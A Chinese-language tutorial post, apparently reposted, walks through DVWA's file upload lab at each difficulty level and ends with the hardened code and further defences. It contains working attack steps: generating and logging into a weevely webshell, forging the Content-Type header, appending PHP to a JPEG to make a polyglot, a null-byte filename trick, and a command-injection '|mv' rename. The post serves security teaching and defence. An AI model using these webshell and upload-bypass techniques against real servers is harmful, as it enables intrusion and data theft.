DVWA 黑客攻防演練(五)文件上傳漏洞 File Upload


說起文件上傳漏洞 ,可謂是印象深刻。有次公司的網站突然訪問不到了,同事去服務器看了一下。所有 webroot 文件夾下的所有文件都被重命名成其他文件,比如 jsp 文件變成 jsp.s ,以致於路徑映射不到 jsp 文件,同事懷疑是攻擊者上傳了個 webshell 文件然后進行批量重命名了。

把后台的代碼都找了一遍,后台代碼也都有驗證文件擴展名的,后面是發現一張普通的照片其實是代碼來的,但也不知道為何能夠執行。但看完這篇文章你就會明白了。 下面用 dvwa 來演示如何攻擊和防御。

低級

用戶界面是這樣的,是一個簡單的上傳文件功能。

然而 Hacker 就上傳一個 phpinfo.php 文件

<?
phpinfo();
?>

。。。結果如下

然后打開鏈接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

Hacker 想用 webshell 的方式嘗試一下。於是就用 Kali Linux 預裝的 weevely 工具生成一個 webshell 文件,這里的 123456 是密碼,這個 webshell 要用密碼登錄的。

weevely generate 123456 /root/webshell.php
Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.

上傳完文件后,登錄

weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
weevely> ls
dvwa_email.png
webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

就變成你的地盤我做主了。 再來看看低級代碼。

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

為何會變成這樣的呢?覺得主要是沒有限制文件擴展名吧。

中級

而中級代碼,多了文件類型和文件大小的限制

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

這里代碼看上去好像類型都判斷了,應該是不能上傳 php 代碼了吧。 然而 Hacker 打開火狐瀏覽器的調試器(谷歌瀏覽器沒有修改功能,用 brup suite 之類的抓包也可以的),找到對應請求后右鍵選擇-> edit and resend 然后將頭部的 content-type 改掉,再重發請求

結果如下

打開鏈接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

高級

中級的代碼有漏洞的原因是用 content-type 去判斷文件類型了,如果用擴展名去判斷還有問題嗎?高級代碼就是這樣想的,代碼如下

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

我嘗試過將 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因為調用了 getimagesize 這個函數,如果不是圖片文件就會返回 false。 但是如果這圖片既是圖片又是代碼呢? 有人能想到了嗎? 11年左右百度貼吧風靡一時圖種

比如這是大家老婆的圖片

保存下來,將擴展名改成 zip ,再解壓(用命令行 unzip)。。。就有福利。

為什么可以這樣 因為比如文件有特定的 jpg 標識,如果用看圖程序打開,只會去看有圖片標識的那部分,如果用 zip 壓縮文件打開,也只會看有 zip 標識的那部分,其他部分會忽略的。 所以它既是圖片也是種子。因此。我們可以制作類似圖種的東西去注入 webshell。

  • windows copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg
  • linux/unix cat webshell.php >> gakki.jpg

所以我們可以制作一個 “圖php"

cat phpinfo.php >> gakki.jpg

只是上傳后,重命名是個問題。

php 5.4 之下還容易解決,因為那個版本就有個漏洞上傳gakki.php%00.jpg這種文件會當成gakki.php來執行的,因為 c語言等語言是用 \0 判斷字符符結束的,所以該會被服務器當成 gakki.php 執行。

在 File Upload 頁面沒法重名了。。。找不到其他方法。唯有借助同一級別下的漏洞比如是命令行注入漏洞

然后輸入在 |mv ../../hackable/uploads/gakki.jpg ../../hackable/uploads/gakki.php ,再訪問文件,結果如下

不可能

不可能級別的代碼有添加了這些

  • 使用 imagecreatefromjpeg imagecreatefrompng 去掉了不屬於圖片的部分
  • 為文件重命名成 隨機字符串。因為如何上傳的文件是 phpshell.php.rar ,Apache 不認識 rar 格式就會向前解析,文件就解析成 phpshell.php 了。
  • 用 anti-token 解決一些 CSRF 問題

代碼如下:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

也有其他手段防御文件上傳漏洞(《白帽子講web安全》):

  • 設置文件目錄不可以執行
  • 給文件服務器設置單獨的域名,因為不同源的原因,請求會被瀏覽器攔截


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM